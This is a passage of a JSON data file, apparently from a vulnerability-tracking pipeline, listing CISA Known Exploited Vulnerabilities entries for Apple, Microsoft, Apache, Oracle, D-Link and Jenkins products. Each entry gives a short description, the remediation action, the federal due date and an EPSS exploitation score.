CVE-2022-24086","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-24086 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-24086&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-24086, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22620","cveId":"CVE-2022-22620","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, and macOS Webkit Use-After-Free Vulnerability","summary":"Apple iOS, iPadOS, and macOS WebKit contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2022-02-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-11","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Safari and WebKit","Apple","iOS, iPadOS, and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-11","dueAt":"2022-02-25","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.16342,"percentile":0.96938,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22620&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22620","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22620 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22620&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22620, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-4404","cveId":"CVE-2014-4404","aliases":[],"kind":"vulnerability","title":"Apple OS X Heap-Based Buffer Overflow Vulnerability","summary":"Heap-based buffer overflow in IOHIDFamily in Apple OS X, which affects, iOS before 8 and Apple TV before 7, allows attackers to execute arbitrary code in a privileged context.","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"OS X","stacks":["Apple","OS X"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-08-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.48923,"percentile":0.9887,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-4404&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-4404","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-4404 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-4404&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-4404, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-1130","cveId":"CVE-2015-1130","aliases":[],"kind":"vulnerability","title":"Apple OS X Authentication Bypass Vulnerability","summary":"The XPC implementation in Admin Framework in Apple OS X before 10.10.3 allows local users to bypass authentication and obtain admin privileges.","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"OS X","stacks":["Apple","OS X"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-08-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.09887,"percentile":0.95539,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-1130&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-1130","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-1130 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-1130&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-1130, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-1635","cveId":"CVE-2015-1635","aliases":[],"kind":"vulnerability","title":"Microsoft HTTP.sys Remote Code Execution Vulnerability","summary":"Microsoft HTTP protocol stack (HTTP.sys) contains a vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"HTTP.sys","stacks":["Microsoft","HTTP.sys"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-08-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99998,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-1635&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-1635","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-1635 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-1635&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-1635, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-2051","cveId":"CVE-2015-2051","aliases":[],"kind":"vulnerability","title":"D-Link DIR-645 Router Remote Code Execution Vulnerability","summary":"D-Link DIR-645 Wired/Wireless Router allows remote attackers to execute arbitrary commands via a GetDeviceSettings action to the HNAP interface.","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DIR-645 Router","stacks":["D-Link","DIR-645 Router"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-08-10","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97101,"percentile":0.99892,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-2051&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-2051","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-2051 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-2051&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-2051, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-3088","cveId":"CVE-2016-3088","aliases":[],"kind":"vulnerability","title":"Apache ActiveMQ Improper Input Validation Vulnerability","summary":"The Fileserver web application in Apache ActiveMQ allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"ActiveMQ","stacks":["Apache ActiveMQ","Apache","ActiveMQ"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-08-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98518,"percentile":0.9992,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-3088&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-3088","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-3088 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-3088&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-3088, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0144","cveId":"CVE-2017-0144","aliases":[],"kind":"vulnerability","title":"Microsoft SMBv1 Remote Code Execution Vulnerability","summary":"The SMBv1 server in multiple Microsoft Windows versions allows remote attackers to execute arbitrary code via crafted packets.","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SMBv1","stacks":["Microsoft","SMBv1"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-08-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9923,"percentile":0.99936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0144&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0144","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0144 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0144&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0144, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0145","cveId":"CVE-2017-0145","aliases":[],"kind":"vulnerability","title":"Microsoft SMBv1 Remote Code Execution Vulnerability","summary":"The SMBv1 server in multiple Microsoft Windows versions allows remote attackers to execute arbitrary code via crafted packets.","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SMBv1","stacks":["Microsoft","SMBv1"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-08-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.8985,"percentile":0.99789,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0145&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0145","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0145 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0145&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0145, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0262","cveId":"CVE-2017-0262","aliases":[],"kind":"vulnerability","title":"Microsoft Office Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists in Microsoft Office.","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-08-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.81005,"percentile":0.99627,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0262&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0262","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0262 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0262&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0262, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0263","cveId":"CVE-2017-0263","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Win32k contains a privilege escalation vulnerability due to the Windows kernel-mode driver failing to properly handle objects in memory.","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-08-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10034,"percentile":0.95584,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0263&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0263","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0263 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0263&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0263, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-10271","cveId":"CVE-2017-10271","aliases":[],"kind":"vulnerability","title":"Oracle Corporation WebLogic Server Remote Code Execution Vulnerability","summary":"Oracle Corporation WebLogic Server contains a vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"WebLogic Server","stacks":["Oracle","WebLogic Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-08-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99994,"percentile":0.99988,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-10271&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-10271","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-10271 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-10271&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-10271, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-8464","cveId":"CVE-2017-8464","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Shell (.lnk) Remote Code Execution Vulnerability","summary":"Windows Shell in multiple versions of Microsoft Windows allows local users or remote attackers to execute arbitrary code via a crafted .LNK file","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-08-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90026,"percentile":0.99791,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-8464&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-8464","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-8464 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-8464&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-8464, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-9791","cveId":"CVE-2017-9791","aliases":[],"kind":"vulnerability","title":"Apache Struts 1 Improper Input Validation Vulnerability","summary":"The Struts 1 plugin in Apache Struts might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Struts 1","stacks":["Apache Struts","Apache","Struts 1"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-08-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98908,"percentile":0.99927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-9791&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-9791","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-9791 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-9791&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-9791, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-1000861","cveId":"CVE-2018-1000861","aliases":[],"kind":"vulnerability","title":"Jenkins Stapler Web Framework Deserialization of Untrusted Data Vulnerability","summary":"A code execution vulnerability exists in the Stapler web framework used by Jenkins","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"Jenkins","product":"Jenkins Stapler Web Framework","stacks":["Jenkins","Jenkins Stapler Web Framework"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-08-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98326,"percentile":0.99916,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-1000861&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-1000861","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-1000861 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-1000861&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-1000861, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0796","cveId":"CVE-2020-0796","aliases":[],"kind":"vulnerability","title":"Microsoft SMBv3 Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests. An attacker who successfully exploited the vulnerability could gain the ability to execute code on the target server or client.","detail":"CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-02-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SMBv3","stacks":["Microsoft","SMBv3"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-02-10","dueAt":"2022-08-10","action":"Apply updates per vendor 